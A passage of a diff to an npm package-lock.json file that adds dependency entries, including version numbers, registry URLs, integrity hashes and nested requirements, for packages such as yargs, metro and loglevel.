"sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "peer": true, + "requires": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + } + }, + "get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "peer": true + }, + "is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "peer": true + }, + "locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "peer": true, + "requires": { + "p-locate": "^4.1.0" + } + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "peer": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "peer": true, + "requires": { + "p-limit": "^2.2.0" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "peer": true + }, + "path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "peer": true + }, + "require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", + "peer": true + }, + "string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "peer": true, + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + } + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "peer": true, + "requires": { + "ansi-regex": "^5.0.1" + } + }, + "which-module": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", + "integrity": "sha512-B+enWhmw6cjfVC7kS8Pj9pCrKSc5txArRyaYGe088shv/FGWH+0Rjx/xPgtsWfsUtS27FkP697E4DDhgrgoc0Q==", + "peer": true + }, + "wrap-ansi": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", + "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "peer": true, + "requires": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + } + }, + "y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "peer": true + }, + "yargs": { + "version": "15.4.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz", + "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==", + "peer": true, + "requires": { + "cliui": "^6.0.0", + "decamelize": "^1.2.0", + "find-up": "^4.1.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^4.2.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^18.1.2" + } + }, + "yargs-parser": { + "version": "18.1.3", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz", + "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==", + "peer": true, + "requires": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + } + } + } + }, + "loglevel": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/loglevel/-/loglevel-1.8.1.tgz", + "integrity": "sha512-tCRIJM51SHjAayKwC+QAg8hT8vg6z7GSgLJKGvzuPb1Wc+hLzqtuVLxp6/HzSPOozuK+8ErAhy7U/sVzw8Dgfg==", + "dev": true + }, + "loglevel-plugin-prefix": { + "version": "0.8.4", + "resolved": "https://registry.npmjs.org/loglevel-plugin-prefix/-/loglevel-plugin-prefix-0.8.4.tgz", + "integrity": "sha512-WpG9CcFAOjz/FtNht+QJeGpvVl/cdR6P0z6OcXSkr8wFJOsV2GRj2j10JLfjuA4aYkcKCNIEqRGCyTife9R8/g==", + "dev": true + }, + "longest": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz", + "integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=", + "dev": true + }, + "loose-envify": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.3.1.tgz", + "integrity": "sha1-0aitM/qc4OcT1l/dCsi3SNR4yEg=", + "requires": { + "js-tokens": "^3.0.0" + } + }, + "loud-rejection": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/loud-rejection/-/loud-rejection-1.6.0.tgz", + "integrity": "sha1-W0b4AUft7leIcPCG0Eghz5mOVR8=", + "dev": true, + "requires": { + "currently-unhandled": "^0.4.1", + "signal-exit": "^3.0.0" + } + }, + "lru-cache": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.3.tgz", + "integrity": "sha512-fFEhvcgzuIoJVUF8fYr5KR0YqxD238zgObTps31YdADwPPAp82a4M8TrckkWyx7ekNlf9aBcVn81cFwwXngrJA==", + "dev": true, + "requires": { + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" + } + }, + "make-dir": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz", + "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", + "dev": true, + "requires": { + "pify": "^3.0.0" + }, + "dependencies": { + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", + "dev": true + } + } + }, + "makeerror": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz", + "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==", + "peer": true, + "requires": { + "tmpl": "1.0.5" + } + }, + "map-cache": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", + "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=" + }, + "map-obj": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz", + "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=", + "dev": true + }, + "map-visit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz", + "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=", + "requires": { + "object-visit": "^1.0.0" + } + }, + "material-colors": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/material-colors/-/material-colors-1.2.6.tgz", + "integrity": "sha512-6qE4B9deFBIa9YSpOc9O0Sgc43zTeVYbgDT5veRKSlB2+ZuHNoVVxA1L/ckMUayV9Ay9y7Z/SZCLcGteW9i7bg==" + }, + "math-expression-evaluator": { + "version": "1.2.17", + "resolved": "https://registry.npmjs.org/math-expression-evaluator/-/math-expression-evaluator-1.2.17.tgz", + "integrity": "sha1-3oGf282E3M2PrlnGrreWFbnSZqw=", + "dev": true + }, + "math-random": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/math-random/-/math-random-1.0.1.tgz", + "integrity": "sha1-izqsWIuKZuSXXjzepn97sylgH6w=", + "dev": true + }, + "md5": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/md5/-/md5-2.2.1.tgz", + "integrity": "sha1-U6s41f48iJG6RlMp6iP6wFQBJvk=", + "dev": true, + "requires": { + "charenc": "~0.0.1", + "crypt": "~0.0.1", + "is-buffer": "~1.1.1" + } + }, + "mdn-data": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-1.1.4.tgz", + "integrity": "sha512-FSYbp3lyKjyj3E7fMl6rYvUdX0FBXaluGqlFoYESWQlyUTq8R+wp0rkFxoYFqZlHCvsUXGjyJmLQSnXToYhOSA==", + "dev": true + }, + "mem": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/mem/-/mem-1.1.0.tgz", + "integrity": "sha1-Xt1StIXKHZAP5kiVUFOZoN+kX3Y=", + "dev": true, + "requires": { + "mimic-fn": "^1.0.0" + } + }, + "memoize-one": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/memoize-one/-/memoize-one-5.2.1.tgz", + "integrity": "sha512-zYiwtZUcYyXKo/np96AGZAckk+FWWsUdJ3cHGGmld7+AhvcWmQyGCYUh1hc4Q/pkOhb65dQR/pqCyK0cOaHz4Q==", + "peer": true + }, + "memory-fs": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.4.1.tgz", + "integrity": "sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=", + "dev": true, + "requires": { + "errno": "^0.1.3", + "readable-stream": "^2.0.1" + } + }, + "meow": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/meow/-/meow-3.7.0.tgz", + "integrity": "sha1-cstmi0JSKCkKu/qFaJJYcwioAfs=", + "dev": true, + "requires": { + "camelcase-keys": "^2.0.0", + "decamelize": "^1.1.2", + "loud-rejection": "^1.0.0", + "map-obj": "^1.0.1", + "minimist": "^1.1.3", + "normalize-package-data": "^2.3.4", + "object-assign": "^4.0.1", + "read-pkg-up": "^1.0.1", + "redent": "^1.0.0", + "trim-newlines": "^1.0.0" + } + }, + "merge": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/merge/-/merge-1.2.0.tgz", + "integrity": "sha1-dTHjnUlJwoGma4xabgJl6LBYlNo=", + "dev": true + }, + "merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "peer": true + }, + "metro": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro/-/metro-0.73.8.tgz", + "integrity": "sha512-2EMJME9w5x7Uzn+DnQ4hzWr33u/aASaOBGdpf4lxbrlk6/vl4UBfX1sru6KU535qc/0Z1BMt4Vq9qsP3ZGFmWg==", + "peer": true, + "requires": { + "@babel/code-frame": "^7.0.0", + "@babel/core": "^7.20.0", + "@babel/generator": "^7.20.0", + "@babel/parser": "^7.20.0", + "@babel/template": "^7.0.0", + "@babel/traverse": "^7.20.0", + "@babel/types": "^7.20.0", + "absolute-path": "^0.0.0", + "accepts": "^1.3.7", + "async": "^3.2.2", + "chalk": "^4.0.0", + "ci-info": "^2.0.0", + "connect": "^3.6.5", + "debug": "^2.2.0", + "denodeify": "^1.2.1", + "error-stack-parser": "^2.0.6", + "graceful-fs": "^4.2.4", + "hermes-parser": "0.8.0", + "image-size": "^0.6.0", + "invariant": "^2.2.4", + "jest-worker": "^27.2.0", + "lodash.throttle": "^4.1.1", + "metro-babel-transformer": "0.73.8", + "metro-cache": "0.73.8", + "metro-cache-key": "0.73.8", + "metro-config": "0.73.8", + "metro-core": "0.73.8", + "metro-file-map": "0.73.8", + "metro-hermes-compiler": "0.73.8", + "metro-inspector-proxy": "0.73.8", + "metro-minify-terser": "0.73.8", + "metro-minify-uglify": "0.73.8", + "metro-react-native-babel-preset": "0.73.8", + "metro-resolver": "0.73.8", + "metro-runtime": "0.73.8", + "metro-source-map": "0.73.8", + "metro-symbolicate": "0.73.8", + "metro-transform-plugins": "0.73.8", + "metro-transform-worker": "0.73.8", + "mime-types": "^2.1.27", + "node-fetch": "^2.2.0", + "nullthrows": "^1.1.1", + "rimraf": "^3.0.2", + "serialize-error": "^2.1.0", + "source-map": "^0.5.6", + "strip-ansi": "^6.0.0", + "temp": "0.8.3", + "throat": "^5.0.0", + "ws": "^7.5.1", + "yargs": "^17.5.1" + }, + "dependencies": { + "ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "peer": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "async": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.4.tgz", + "integrity": "sha512-iAB+JbDEGXhyIUavoDl9WP/Jj106Kz9DEn1DPgYw5ruDn0e3Wgi3sKFm55sASdGBNOQB8F59d9qQ7deqrHA8wQ==", + "peer": true + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "ci-info": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz", + "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==", + "peer": true + }, + "cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "peer": true, + "requires": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "peer": true + }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "peer": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "image-size": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/image-size/-/image-size-0.6.3.tgz", + "integrity": "sha512-47xSUiQioGaB96nqtp5/q55m0aBQSQdyIloMOc/x+QVTDZLNmXE892IIDrJ0hM1A5vcNUDD5tDffkSP5lCaIIA==", + "peer": true + }, + "is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "peer": true + }, + "metro-runtime": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-runtime/-/metro-runtime-0.73.8.tgz", + "integrity": "sha512-M+Bg9M4EN5AEpJ8NkiUsawD75ifYvYfHi05w6QzHXaqOrsTeaRbbeLuOGCYxU2f/tPg17wQV97/rqUQzs9qEtA==", + "peer": true, + "requires": { + "@babel/runtime": "^7.0.0", + "react-refresh": "^0.4.0" + } + }, + "metro-source-map": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-source-map/-/metro-source-map-0.73.8.tgz", + "integrity": "sha512-wozFXuBYMAy7b8BCYwC+qoXsvayVJBHWtSTlSLva99t+CoUSG9JO9kg1umzbOz28YYPxKmvb/wbnLMkHdas2cA==", + "peer": true, + "requires": { + "@babel/traverse": "^7.20.0", + "@babel/types": "^7.20.0", + "invariant": "^2.2.4", + "metro-symbolicate": "0.73.8", + "nullthrows": "^1.1.1", + "ob1": "0.73.8", + "source-map": "^0.5.6", + "vlq": "^1.0.0" + } + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "peer": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "node-fetch": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.9.tgz", + "integrity": "sha512-DJm/CJkZkRjKKj4Zi4BsKVZh3ValV5IR5s7LVZnW+6YMh0W1BfNA8XSs6DLMGYlId5F3KnA70uu2qepcR08Qqg==", + "peer": true, + "requires": { + "whatwg-url": "^5.0.0" + } + }, + "ob1": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/ob1/-/ob1-0.73.8.tgz", + "integrity": "sha512-1F7j+jzD+edS6ohQP7Vg5f3yiIk5i3x1uLrNIHOmLHWzWK1t3zrDpjnoXghccdVlsU+UjbyURnDynm4p0GgXeA==", + "peer": true + }, + "rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "peer": true, + "requires": { + "glob": "^7.1.3" + } + }, + "string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "peer": true, + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + } + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "peer": true, + "requires": { + "ansi-regex": "^5.0.1" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "peer": true, + "requires": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + } + }, + "ws": { + "version": "7.5.9", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "peer": true, + "requires": {} + }, + "y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "peer": true + }, + "yargs": { + "version": "17.7.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.1.tgz", + "integrity": "sha512-cwiTb08Xuv5fqF4AovYacTFNxk62th7LKJ6BL9IGUpTJrWoU7/7WdQGTP2SjKf1dUNBGzDd28p/Yfs/GI6JrLw==", + "peer": true, + "requires": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + } + }, + "yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "peer": true + } + } + }, + "metro-babel-transformer": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-babel-transformer/-/metro-babel-transformer-0.73.8.tgz", + "integrity": "sha512-GO6H/W2RjZ0/gm1pIvdO9EP34s3XN6kzoeyxqmfqKfYhJmYZf1SzXbyiIHyMbJNwJVrsKuHqu32+GopTlKscWw==", + "peer": true, + "requires": { + "@babel/core": "^7.20.0", + "hermes-parser": "0.8.0", + "metro-source-map": "0.73.8", + "nullthrows": "^1.1.1" + }, + "dependencies": { + "metro-source-map": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-source-map/-/metro-source-map-0.73.8.tgz", + "integrity": "sha512-wozFXuBYMAy7b8BCYwC+qoXsvayVJBHWtSTlSLva99t+CoUSG9JO9kg1umzbOz28YYPxKmvb/wbnLMkHdas2cA==", + "peer": true, + "requires": { + "@babel/traverse": "^7.20.0", + "@babel/types": "^7.20.0", + "invariant": "^2.2.4", + "metro-symbolicate": "0.73.8", + "nullthrows": "^1.1.1", + "ob1": "0.73.8", + "source-map": "^0.5.6", + "vlq": "^1.0.0" + } + }, + "ob1": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/ob1/-/ob1-0.73.8.tgz", + "integrity": "sha512-1F7j+jzD+edS6ohQP7Vg5f3yiIk5i3x1uLrNIHOmLHWzWK1t3zrDpjnoXghccdVlsU+UjbyURnDynm4p0GgXeA==", + "peer": true + } + } + }, + "metro-cache": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-cache/-/metro-cache-0.73.8.tgz", + "integrity": "sha512-/uFbTIw813Rvb8kSAIHvax9gWl41dtgjY2SpJLNIBLdQ6oFZ3CVo3ahZIiEZOrCeHl9xfGn5tmvNb8CEFa/Q5w==", + "peer": true, + "requires": { + "metro-core": "0.73.8", + "rimraf": "^3.0.2" + }, + "dependencies": { + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "peer": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "peer": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "peer": true, + "requires": { + "glob": "^7.1.3" + } + } + } + }, + "metro-cache-key": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-cache-key/-/metro-cache-key-0.73.8.tgz", + "integrity": "sha512-VzFGu4kJGIkLjyDgVoM2ZxIHlMdCZWMqVIux9N+EeyMVMvGXTiXW8eGROgxzDhVjyR58IjfMsYpRCKz5dR+2ew==", + "peer": true + }, + "metro-config": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-config/-/metro-config-0.73.8.tgz", + "integrity": "sha512-sAYq+llL6ZAfro64U99ske8HcKKswxX4wIZbll9niBKG7TkWm7tfMY1jO687XEmE4683rHncZeBRav9pLngIzg==", + "peer": true, + "requires": { + "cosmiconfig": "^5.0.5", + "jest-validate": "^26.5.2", + "metro": "0.73.8", + "metro-cache": "0.73.8", + "metro-core": "0.73.8", + "metro-runtime": "0.73.8" + }, + "dependencies": { + "cosmiconfig": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-5.2.1.tgz", + "integrity": "sha512-H65gsXo1SKjf8zmrJ67eJk8aIRKV5ff2D4uKZIBZShbhGSpEmsQOPW/SKMKYhSTrqR7ufy6RP69rPogdaPh/kA==", + "peer": true, + "requires": { + "import-fresh": "^2.0.0", + "is-directory": "^0.3.1", + 